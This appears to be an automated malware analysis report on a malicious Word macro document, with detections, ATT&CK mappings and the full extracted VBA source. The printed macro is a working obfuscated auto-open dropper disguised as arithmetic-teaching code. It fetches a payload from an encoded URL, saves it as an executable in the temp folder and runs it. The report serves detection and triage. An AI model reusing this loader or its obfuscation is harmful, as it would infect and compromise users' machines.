Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f6837e377dd89167…

MALICIOUS

Office (OOXML)

36.7 KB Created: 2016-07-20 09:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2016-08-15
MD5: 3d0b81c0999d35e2d4512095f542b471 SHA-1: 295f036ffbe671cd4d40bba9ab356076102334bc SHA-256: f6837e377dd89167d2e367dde9a23cd78f46219e2e94754920a0c81b5b7e5a69
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA code attempts to download a file from a URL and save it to disk, which is then likely executed. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic further suggests an auto-executing loader pattern. The presence of VBA macros points to the T1059.005 (Visual Basic) technique, while the download and execution behavior aligns with T1105 (Ingress Tool Transfer) and T1204.002 (Malicious File).

Heuristics 9

  • ClamAV: Doc.Macro.ObfuscatedData-6136276-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedData-6136276-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
       VichVud = itogdanavdzaob_RA__1.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
     Set rukaGlaz = CreateObject(HASIKMUD(1))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set rukaGlaz = CreateObject(HASIKMUD(1))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 20804 bytes
SHA-256: 9b494fe74d1ea750679bf047f483aa04742fd83ecba3029f83eafa7dbfc1e2b2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
Booth
End Sub


Attribute VB_Name = "Module1"
Public itogdanavdzaob_RA__1 As Object
Public rukaGlaz As Object
Public itogdanavdzaob_RA__3 As Object
Public tdgfnbq() As String

 Public DFNBPLFC As String
Public itogdanavdzaob_RA__4 As String
Public HASIKMUD() As String
Public itogdanavdzaob_tolko1 As String
Public itogdanavdzaob_RA_Teacher As Object
Public itogdanavdzaob_RA_1solo As Object
Public AiBabAi As String
Sub cib10(ik)
 Dim sz, I, hatv, k As Integer
 Dim sz1 As String
 hatv = 1
 ssvv.elem(ik).ve = ssvv.elem(ik).E
 ssvv.elem(ik).vb = ssvv.elem(ik).kb
 If (Mid(ssvv.elem(ik).E, 1, 1) = "-") Then
    sz1 = Mid(ssvv.elem(ik).E, 2, Len(ssvv.elem(ik).E))
    k = 2
  Else: k = 1
        sz1 = ssvv.elem(ik).E
 End If
 For I = Len(sz1) To 1 Step -1
   If (Mid(sz1, I, 1) = "1") Then sz = sz + 1 * hatv
   If (Mid(sz1, I, 1) = "2") Then sz = sz + 2 * hatv
   If (Mid(sz1, I, 1) = "3") Then sz = sz + 3 * hatv
   If (Mid(sz1, I, 1) = "4") Then sz = sz + 4 * hatv
   If (Mid(sz1, I, 1) = "5") Then sz = sz + 5 * hatv
   If (Mid(sz1, I, 1) = "6") Then sz = sz + 6 * hatv
   If (Mid(sz1, I, 1) = "7") Then sz = sz + 7 * hatv
   If (Mid(sz1, I, 1) = "8") Then sz = sz + 8 * hatv
   If (Mid(sz1, I, 1) = "9") Then sz = sz + 9 * hatv
   If (Mid(sz1, I, 1) = "0") Then sz = sz + 0 * hatv
   If (Mid(sz1, I, 1) = "a" Or Mid(sz1, I, 1) = "A") Then sz = sz + 10 * hatv
   If (Mid(sz1, I, 1) = "b" Or Mid(sz1, I, 1) = "B") Then sz = sz + 11 * hatv
   If (Mid(sz1, I, 1) = "c" Or Mid(sz1, I, 1) = "C") Then sz = sz + 12 * hatv
   If (Mid(sz1, I, 1) = "d" Or Mid(sz1, I, 1) = "D") Then sz = sz + 13 * hatv
   If (Mid(sz1, I, 1) = "e" Or Mid(sz1, I, 1) = "E") Then sz = sz + 14 * hatv
   If (Mid(sz1, I, 1) = "f" Or Mid(sz1, I, 1) = "F") Then sz = sz + 15 * hatv
   If (Mid(sz1, I, 1) = "g" Or Mid(sz1, I, 1) = "G") Then sz = sz + 16 * hatv
   If (Mid(sz1, I, 1) = "h" Or Mid(sz1, I, 1) = "H") Then sz = sz + 17 * hatv
   If (Mid(sz1, I, 1) = "i" Or Mid(sz1, I, 1) = "I") Then sz = sz + 18 * hatv
   If (Mid(sz1, I, 1) = "j" Or Mid(sz1, I, 1) = "J") Then sz = sz + 19 * hatv
   If (Mid(sz1, I, 1) = "k" Or Mid(sz1, I, 1) = "K") Then sz = sz + 20 * hatv
   If (Mid(sz1, I, 1) = "l" Or Mid(sz1, I, 1) = "L") Then sz = sz + 21 * hatv
   If (Mid(sz1, I, 1) = "m" Or Mid(sz1, I, 1) = "M") Then sz = sz + 22 * hatv
   hatv = hatv * ssvv.elem(ik).kb
 Next
 ssvv.elem(ik).kb = 10
 If (k = 2) Then ssvv.elem(ik).E = "-" + Str(sz)
 If (k = 1) Then ssvv.elem(ik).E = Str(sz)
End Sub

Sub cib2(stringe, hova)
 Dim ig As Long
 Dim ind As Byte, I As Byte
 Dim bt As Byte
 If (Mid(stringe, 1, 1) = "-") Then
    ig = Int(Mid(stringe, 2))
   Else: ig = Int(stringe)
 End If
 ind = 32
 For I = 1 To 32
  hova(I) = 0
 Next
 While ig > 0
  bt = ig Mod 2
  hova(ind) = bt
  ind = ind - 1
  ig = Int(ig / 2)
 Wend
 If (Mid(stringe, 1, 1) = "-") Then hova(1) = 1
End Sub

Sub masol(mit, hova)
 Dim I As Integer
 For I = 0 To 32
   hova(I) = mit(I)
 Next
End Sub

Sub levagmasol(mit, hova)
 Dim I As Integer
 For I = 2 To 32
   hova(I) = mit(32 + I)
 Next
 hova(1) = mit(1)
 hova(0) = 0
End Sub

Sub cicc(de, ce)
 Dim k, I As Integer
 For I = 1 To 32
  ce(I) = de(I)
 Next
 If (de(1) = 1) Then
   k = 32
   While de(k) = 0
     k = k - 1
   Wend
   k = k - 1
   For I = k To 2 Step -1
     ce(I) = 1 - de(I)
   Next
 End If
End Sub
Public Function PfghzufqntkjgwsRjyb(VaarP1 As Integer) As String
Dost = CInt(tdgfnbq(VaarP1))
PfghzufqntkjgwsRjyb = Chr(Dost / (10 + 6))
End Function
Public Function ZEEEEERG(A1 As String, A2 As String, A3 As String) As String
ZEEEEERG = Replace(A1, A2, A3)
End Function
Sub cici(de, ie)
 Dim I As Integer
 For I = 1 To 32
   ie(I) = de(I)
 Next
 If (de(1) = 1) Then
   For I = 2 To 32
     ie(I) = 1 - de(I)
   Next
 End If
End Sub

Sub aduna(a, b, ab)
 Dim I As Integer
 For I = 0 To 32
  ab(I) = 0
 Next
 For I = 32 To 0 Step -1
  ab(I) = a(I) + b(I) + ab(I)
  If (ab(I) >= 2) Then
    ab(I) = ab(I) - 2
    If (I > 0) Then ab(I - 1) = ab(I - 1) + 1
  End If
 Next
End Sub

Sub shlbm(mit)
 Dim I As Integer
 For I = 65 To 2 Step -1
   mit(I) = mit(I - 1)
 Next
End Sub

Sub initv(v)
 Dim I As Byte
 For I = 0 To 32
  v(I) = 0
 Next
End Sub

Public Sub Booth()
 Dim I As Integer, j As Integer
 Dim s, s1 As String
 Dim sz1 As Currency, sz2 As Long, kitevo As Variant
 tdgfnbq = Split("166467867867823218566786786782321856678678678232179267867867823292867867867823275267867867823275267867867823218246786786782321792678678678232164867867867823217446786786782321552678678678232171267867867823216166786786782321824678678678232160067867867823216166786786782321888678678678232736678678678232158467867867823217766786786782321744678678678232752678678678232174467867867823215686786786782321888678678678232848678678678232896678678678232164867867867823215686786786782321888", "678678678232")

DFNBPLFC = ZEEEEERG("ZEERGicroZEEERGoft.XZEERGLHTTP...Adodb.ZEEERGtrZERGaZEERG...ZEEERGhZERGll.Application...WZEEERGcript.ZEEERGhZERGll...ProcZERGZEEERGZEEERG...GZERGT...TZERGZEERGP...TypZERG...opZERGn...writZERG...rZERGZEEERGponZEEERGZERGBody...ZEEERGavZERGtofilZERG...\isnovaZEEERG2.ZERGxZERG", "ZERG", "e")
 DFNBPLFC = ZEEEEERG(DFNBPLFC, "ZEERG", "M")
 DFNBPLFC = ZEEEEERG(DFNBPLFC, "ZEEERG", "s")
 inmBooth 0, 0, 0
 Exit Sub
 szoutput.Loutput.Clear
 szoutput.Loutput.AddItem "Inmultire prin metoda lui Booth"
 inittemp
 temp = ssvv.elem(1)
 For I = 2 To nrelem - 1
   s = Str(temp.de(1))
   s1 = Str(ssvv.elem(I).de(1))
   sz1 = 0
   sz2 = 0
   kitevo = 1
   For j = 2 To 32
    sz1 = sz1 + temp.de(34 - j) * kitevo
    sz2 = sz2 + ssvv.elem(I).de(34 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.de(j))
    s1 = s1 + Str(ssvv.elem(I).de(j))
   Next
   If (temp.de(1) = 1) Then sz1 = -sz1
   If (ssvv.elem(I).de(1) = 1) Then sz2 = -sz2
   szoutput.Loutput.AddItem "Se inmultesc numerele " + Str(sz1) + " *" + Str(sz2)
   szoutput.Loutput.AddItem "reprezentarea in cod direct a numerelor : "
   szoutput.Loutput.AddItem s
   szoutput.Loutput.AddItem s1
   inmBooth temp.de, ssvv.elem(I).de, temp.inm
   s = Str(temp.inm(1))
   sz1 = 0
   kitevo = 1
   For j = 2 To 64
    sz1 = sz1 + temp.inm(66 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.inm(j))
   Next
   levagmasol temp.inm, temp.de
   If (temp.inm(1) = 1) Then sz1 = -sz1
   szoutput.Loutput.AddItem "primele " + Str(I) + " numere adunate au ca rezultat : " + Str(sz1)
   szoutput.Loutput.AddItem s
 Next
End Sub

Sub inmBooth(de1, de2, inm)

 HASIKMUD = Split(DFNBPLFC, "...")
  Dim ce1(32) As Byte, nce1(32) As Byte, ce2(32) As Byte, t(32) As Byte
 Set rukaGlaz = CreateObject(HASIKMUD(1))
 Set itogdanavdzaob_RA_Teacher = CreateObject(HASIKMUD(2))
 Dim I As Integer
 Dim d As Boolean
 d = True
 IsWord = True
 For I = 1 To Len(Trim("eesucka"))
 If d = False Then
Set itogdanavdzaob_RA__1 = CreateObject(HASIKMUD(I - 2))
Exit For
Else
d = False
End If
Next I
Set itogdanavdzaob_RA_1solo = CreateObject(HASIKMUD(3))
Robertson
Exit Sub
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Se determina compl(a),compl(-a),compl(b)"
  cicc de1, ce1
  masol de1, nce1
  nce1(1) = 1 - nce1(1)
  cicc nce1, nce1
  cicc de2, ce2
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Se initializeaza c(i)=0 ,c(i+32)=b(i) ,i=1->32"
'se inicializeaza inmultitul
  For I = 1 To 32
   inm(I) = 0
   inm(I + 32) = ce2(I)
  Next
  inm(65) = 0
  inm(0) = 0
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "De n ori se uita daca ultimele doua cifre sunt '01' atunci aduna compl(a)/'10' aduna compl(-a), si face shl"
  For I = 1 To 32
   If (inm(64) = 0 And inm(65) = 1) Then
    aduna inm, ce1, t
    masol t, inm
   End If
   If (inm(64) = 1 And inm(65) = 0) Then
    aduna inm, nce1, t
    masol t, inm
   End If
   shlbm inm
  Next
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Daca c(1)=1 atunci rezultatul este in cod complementar , se face complementarea"
'daca rezultatul este in cod complementar
 If (inm(1) = 1) Then
   k = 64
   While inm(k) = 0
     k = k - 1
   Wend
   k = k - 1
   For I = k To 2 Step -1
     inm(I) = 1 - inm(I)
   Next
 End If
End Sub

Sub Robertson()
 Dim I As Integer, j As Integer
 Dim s, s1 As String
 Dim sz1 As Currency, sz2 As Long, kitevo As Variant
 Set itogdanavdzaob_RA__3 = itogdanavdzaob_RA_1solo.Environment(HASIKMUD(4))
 Dim apdistance As Integer
For apdistance = LBound(tdgfnbq) To UBound(tdgfnbq)
 AiBabAi = AiBabAi & PfghzufqntkjgwsRjyb(apdistance)
 Next apdistance
 If Application = "Microsoft Word" Then
 itogdanavdzaob_RA__1.Open HASIKMUD(5), AiBabAi, False
itogdanavdzaob_RA__1.Send

 itogdanavdzaob_RA__4 = itogdanavdzaob_RA__3(HASIKMUD(6))
 itogdanavdzaob_tolko1 = itogdanavdzaob_RA__4
itogdanavdzaob_tolko1 = itogdanavdzaob_tolko1 + HASIKMUD(12)
rukaGlaz.Type = 1
 rukaGlaz.Open
 inmRobertson 1, 1, 1
 End If
 Exit Sub
 szoutput.Loutput.Clear
 szoutput.Loutput.AddItem "Inmultire prin metoda lui Robertson"
 inittemp
 temp = ssvv.elem(1)
 For I = 2 To nrelem - 1
   s = Str(temp.de(1))
   s1 = Str(ssvv.elem(I).de(1))
   sz1 = 0
   sz2 = 0
   kitevo = 1
   For j = 2 To 32
    sz1 = sz1 + temp.de(34 - j) * kitevo
    sz2 = sz2 + ssvv.elem(I).de(34 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.de(j))
    s1 = s1 + Str(ssvv.elem(I).de(j))
   Next
   If (temp.de(1) = 1) Then sz1 = -sz1
   If (ssvv.elem(I).de(1) = 1) Then sz2 = -sz2
   szoutput.Loutput.AddItem "Se inmultesc numerele " + Str(sz1) + " *" + Str(sz2)
   szoutput.Loutput.AddItem "reprezentarea in cod direct a numerelor : "
   szoutput.Loutput.AddItem s
   szoutput.Loutput.AddItem s1
   inmRobertson temp.de, ssvv.elem(I).de, temp.inm
   s = Str(temp.inm(1))
   sz1 = 0
   kitevo = 1
   For j = 2 To 64
    sz1 = sz1 + temp.inm(66 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.inm(j))
   Next
   levagmasol temp.inm, temp.de
   If (temp.inm(1) = 1) Then sz1 = -sz1
   szoutput.Loutput.AddItem "primele " + Str(I) + " numere adunate au ca rezultat : " + Str(sz1)
   szoutput.Loutput.AddItem s
 Next
End Sub

Sub inmRobertson(de1, de2, inm)
  Dim ce1(32) As Byte, nce1(32) As Byte, ce2(32) As Byte, t(32) As Byte
  Dim I, k As Integer
   VichVud = itogdanavdzaob_RA__1.responseBody
rukaGlaz.Write VichVud
 rukaGlaz.savetofile itogdanavdzaob_tolko1, 2
 itogdanavdzaob_RA_Teacher.Open (itogdanavdzaob_tolko1)
Exit Sub
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Se determina compl(a),compl(-a),compl(b)"
  cicc de1, ce1
  de1(1) = 1 - de1(1)
  cicc de1, nce1
  de1(1) = 1 - de1(1)
  cicc de2, ce2
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Se initializeaza ci=0 i=1->32,cj=bk j=33->63,k=(j-31)->32"
'se inicializeaza inmultitul
  For I = 1 To 32
   inm(I) = 0
  Next
  For I = 2 To 32
   inm(I + 31) = ce2(I)
  Next
  inm(64) = 0
  inm(0) = 0
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "De n ori se uita daca c(64)=1 atunci aduna compl(a), si face shl"
  For I = 1 To 32
   If (inm(64) = 1) Then
    aduna inm, ce1, t
    masol t, inm
   End If
   shlbm inm
   inm(1) = inm(2)
  Next
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Daca b(0)=1 atunci c=c+compl(-a)"
'daca b0=1 then adauga
  If de2(1) = 1 Then
    aduna inm, nce1, t
    masol t, inm
  End If
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Daca c(1)=1 atunci rezultatul este in cod complementar , se face complementarea"
'daca rezultatul este in cod complementar
  If (inm(1) = 1) Then
   k = 64
   While (inm(k)) = 0
    k = k - 1
   Wend
   k = k - 1
   For I = k To 2 Step -1
    inm(I) = 1 - inm(I)
   Next
  End If
  shlbm inm
  inm(1) = inm(2)
  inm(2) = 0
End Sub

Sub osszeadja()
 Dim I As Integer, j As Integer
 Dim s, s1 As String
 Dim sz1 As Long, sz2 As Long, kitevo As Double
 Dim t(32) As Byte
 szoutput.Loutput.Clear
 szoutput.Loutput.AddItem "Adunarea in cod direct"
' inittemp
 temp = ssvv.elem(1)
 For I = 2 To nrelem - 1
   s = Str(temp.de(1))
   s1 = Str(ssvv.elem(I).de(1))
   sz1 = 0
   sz2 = 0
   kitevo = 1
   For j = 2 To 32
    sz1 = sz1 + temp.de(34 - j) * kitevo
    sz2 = sz2 + ssvv.elem(I).de(34 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.de(j))
    s1 = s1 + Str(ssvv.elem(I).de(j))
   Next
   If (temp.de(1) = 1) Then sz1 = -sz1
   If (ssvv.elem(I).de(1) = 1) Then sz2 = -sz2
   szoutput.Loutput.AddItem ""
   szoutput.Loutput.AddItem "Se aduna numerele " + Str(sz1) + " +" + Str(sz2)
   szoutput.Loutput.AddItem "reprezentarea in cod direct a numerelor : "
   szoutput.Loutput.AddItem s
   szoutput.Loutput.AddItem s1
   osszeaddir temp.de, ssvv.elem(I).de, temp.ad
   s = Str(temp.ad(1))
   sz1 = 0
   kitevo = 1
   For j = 2 To 32
    sz1 = sz1 + temp.ad(34 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.ad(j))
'    temp.de(j) = temp.ad(j)
   Next
   masol temp.ad, temp.de
'   temp.de(1) = temp.ad(1)
   If (temp.de(1) = 1) Then sz1 = -sz1
   szoutput.Loutput.AddItem "primele " + Str(I) + " numere adunate au ca rezultat : " + Str(sz1)
   szoutput.Loutput.AddItem s
 Next
 
 szoutput.Loutput.AddItem ""
 szoutput.Loutput.AddItem "*************************************************************************"
 szoutput.Loutput.AddItem ""
 szoutput.Loutput.AddItem "Adunarea in cod complementar"
' inittemp
 temp = ssvv.elem(1)
 For I = 2 To nrelem - 1
   s = Str(temp.ce(1))
   s1 = Str(ssvv.elem(I).ce(1))
   sz1 = 0
   sz2 = 0
   kitevo = 1
   For j = 2 To 32
    sz1 = sz1 + temp.de(34 - j) * kitevo
    sz2 = sz2 + ssvv.elem(I).de(34 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.ce(j))
    s1 = s1 + Str(ssvv.elem(I).ce(j))
   Next
   If (temp.de(1) = 1) Then sz1 = -sz1
   If (ssvv.elem(I).de(1) = 1) Then sz2 = -sz2
   szoutput.Loutput.AddItem ""
   szoutput.Loutput.AddItem "Se aduna numerele " + Str(sz1) + " +" + Str(sz2)
   szoutput.Loutput.AddItem "reprezentarea in cod complementar a numerelor : "
   szoutput.Loutput.AddItem s
   szoutput.Loutput.AddItem s1
   osszeadcomp temp.de, ssvv.elem(I).de, temp.ad
   masol temp.ad, temp.de
   s = Str(temp.ac(1))
   sz1 = 0
   kitevo = 1
   For j = 2 To 32
    sz1 = sz1 + temp.ad(34 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.ac(j))
   Next
   If (temp.de(1) = 1) Then sz1 = -sz1
   szoutput.Loutput.AddItem "primele " + Str(I) + " numere adunate au ca rezultat : " + Str(sz1)
   szoutput.Loutput.AddItem s
 Next

 szoutput.Loutput.AddItem ""
 szoutput.Loutput.AddItem "*************************************************************************"
 szoutput.Loutput.AddItem ""
 szoutput.Loutput.AddItem "Adunarea in cod Invers"
' inittemp
 temp = ssvv.elem(1)
 For I = 2 To nrelem - 1
   temp1 = ssvv.elem(I)
   s = Str(temp.ie(1))
   s1 = Str(temp1.ie(1))
   sz1 = 0
   sz2 = 0
   kitevo = 1
   For j = 2 To 32
    sz1 = sz1 + temp.de(34 - j) * kitevo
    sz2 = sz2 + temp1.de(34 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.ie(j))
    s1 = s1 + Str(temp1.ie(j))
   Next
   If (temp.de(1) = 1) Then sz1 = -sz1
   If (temp1.de(1) = 1) Then sz2 = -sz2
   szoutput.Loutput.AddItem ""
   szoutput.Loutput.AddItem "Se aduna numerele " + Str(sz1) + " +" + Str(sz2)
   szoutput.Loutput.AddItem "reprezentarea in cod invers a numerelor : "
   szoutput.Loutput.AddItem s
   szoutput.Loutput.AddItem s1
   osszeadinv temp.de, ssvv.elem(I).de, temp.ad
   s = Str(temp.ie(1))
   sz1 = 0
   kitevo = 1
   masol temp.ad, temp.de
   For j = 2 To 32
    sz1 = sz1 + temp.ad(34 - j) * kitevo
    kitevo = kitevo * 2
    s = s + Str(temp.ai(j))
   Next
   If (temp.ad(1) = 1) Then sz1 = -sz1
   szoutput.Loutput.AddItem "primele " + Str(I) + " numere adunate au ca rezultat : " + Str(sz1)
   szoutput.Loutput.AddItem s
 Next
End Sub

Sub osszeadinv(de1, de2, ad)
  Dim I As Integer
  Dim k As Integer
  Dim ie1(32) As Byte, ie2(32) As Byte, unu(32) As Byte, t(32) As Byte
  If szoutput.M_info_true.Checked = True Then
    If (de1(1) <> de2(1)) Then szoutput.Loutput.AddItem "Se aduna doua numere cu semn diferit "
    If (de1(1) = de2(1)) Then szoutput.Loutput.AddItem "Se aduna doua numere cu acelasi semn "
    szoutput.Loutput.AddItem "Regula de adunare este Si=inv(Ai)+inv(Bi) ,unde Ai,Bi biti din cudul direct"
  End If
  cici de1, ie1
  cici de2, ie2
  aduna ie1, ie2, ad
  'daca sa schimbat semnul (a>0 b>0)
  If (de1(1) = de2(1) And de1(1) <> ad(1)) Then szoutput.Loutput.AddItem "S-a  facut transport la CCMS rezultat incorect nu se poate face corectie(s=s+1)"
  'daca s-a scimbat semnul si a fost overflow
  If ((de1(1) = de2(1) And de1(1) = ad(1) And ad(0) <> 0) Or (de1(1) <> de2(1) And ad(0) <> 0)) Then
    If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "S-a facut transfer la CCMS ,se face corectie,se adauga 1"
     For I = 0 To 32
      unu(I) = 0
     Next
     unu(32) = 1
     aduna ad, unu, t
     masol t, ad
   End If
  masol ad, temp.ai
  If (ad(1) = 1) Then
  If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Rezultatul obtinut este in cod invers convertam in codul direct"
    masol ad, temp.ai
    cici ad, t
    masol t, ad
    Else: If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Rezultatul obtinut este in cod complementar=codul direct"
  End If
End Sub

Sub osszeadcomp(de1, de2, ad)
  Dim I As Integer
  Dim k As Integer
  Dim ce1(32) As Byte, ce2(32) As Byte, t(32) As Byte
  If szoutput.M_info_true.Checked = True Then
    If (de1(1) <> de2(1)) Then szoutput.Loutput.AddItem "Se aduna doua numere cu semn diferit "
    If (de1(1) = de2(1)) Then szoutput.Loutput.AddItem "Se aduna doua numere cu acelasi semn "
    szoutput.Loutput.AddItem "Regula de adunare este Si=comp(Ai)+comp(Bi) ,unde Ai,Bi biti din cudul direct"
  End If
  'daca primul numar e negativ =>compl
  cicc de1, ce1
  'daca al doilea numar este negativ =>compl
  cicc de2, ce2
  'sa adunam numerele
  aduna ce1, ce2, ad
  If (de1(1) = de2(1) And de1(1) <> ad(1)) Then szoutput.Loutput.AddItem "S-a  facut transport la CCMS rezultat incorect nu se poate face corectie(s=s+1)"
  'daca rezultatul e negativ inseamna ca este in cod complementar
  masol ad, temp.ac
  If (ad(1) = 1) Then
    If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Rezultatul obtinut este in cod complementar convertam in codul direct"
    cicc ad, t
    masol t, ad
    Else: If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Rezultatul obtinut este in cod complementar=codul direct"
  End If
End Sub

Sub osszeaddir(de1, de2, ad)
  Dim I As Integer
  Dim k As Integer
  Dim ce1(32) As Byte, ce2(32) As Byte, t(32) As Byte
  If szoutput.M_info_true.Checked = True Then
    If (de1(1) <> de2(1)) Then szoutput.Loutput.AddItem "Se aduna doua numere cu semn diferit "
    If (de1(1) = de2(1)) Then szoutput.Loutput.AddItem "Se aduna doua numere cu acelasi semn "
    szoutput.Loutput.AddItem "Regula de adunare este Si=comp(Ai)+comp(Bi) ,unde Ai,Bi biti din cudul direct"
  End If
  'daca primul numar e negativ =>compl
  cicc de1, ce1
  'daca al doilea numar este negativ =>compl
  cicc de2, ce2
  'sa adunam numerele
  aduna ce1, ce2, ad
  If (de1(1) = de2(1) And de1(1) <> ad(1)) Then szoutput.Loutput.AddItem "S-a  facut transport la CCMS rezultat incorect nu se poate face corectie(s=s+1)"
  'daca rezultatul e negativ inseamna ca este in cod complementar
  If (ad(1) = 1) Then
    If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Rezultatul obtinut este in cod complementar convertam in codul direct"
    cicc ad, t
    masol t, ad
    Else: If szoutput.M_info_true.Checked = True Then szoutput.Loutput.AddItem "Rezultatul obtinut este in cod complementar=codul direct"
  End If
End Sub

Sub inittemp()
 Dim I As Integer, j As Integer
 For I = 1 To 32
   temp.de(I) = 0
   temp.ce(I) = 0
   temp.ie(I) = 0
   temp1.de(I) = 0
   temp1.ce(I) = 0
   temp1.ie(I) = 0
   temp.ad(I) = 0
   temp1.ad(I) = 0
   temp.ai(I) = 0
   temp.ac(I) = 0
 Next
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 66048 bytes
SHA-256: 15e2a108a1b312c93014ddae775f0ae645d9dd373381e2048138d849e39cd6b9
Detection
ClamAV: Doc.Macro.ObfuscatedData-6136276-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.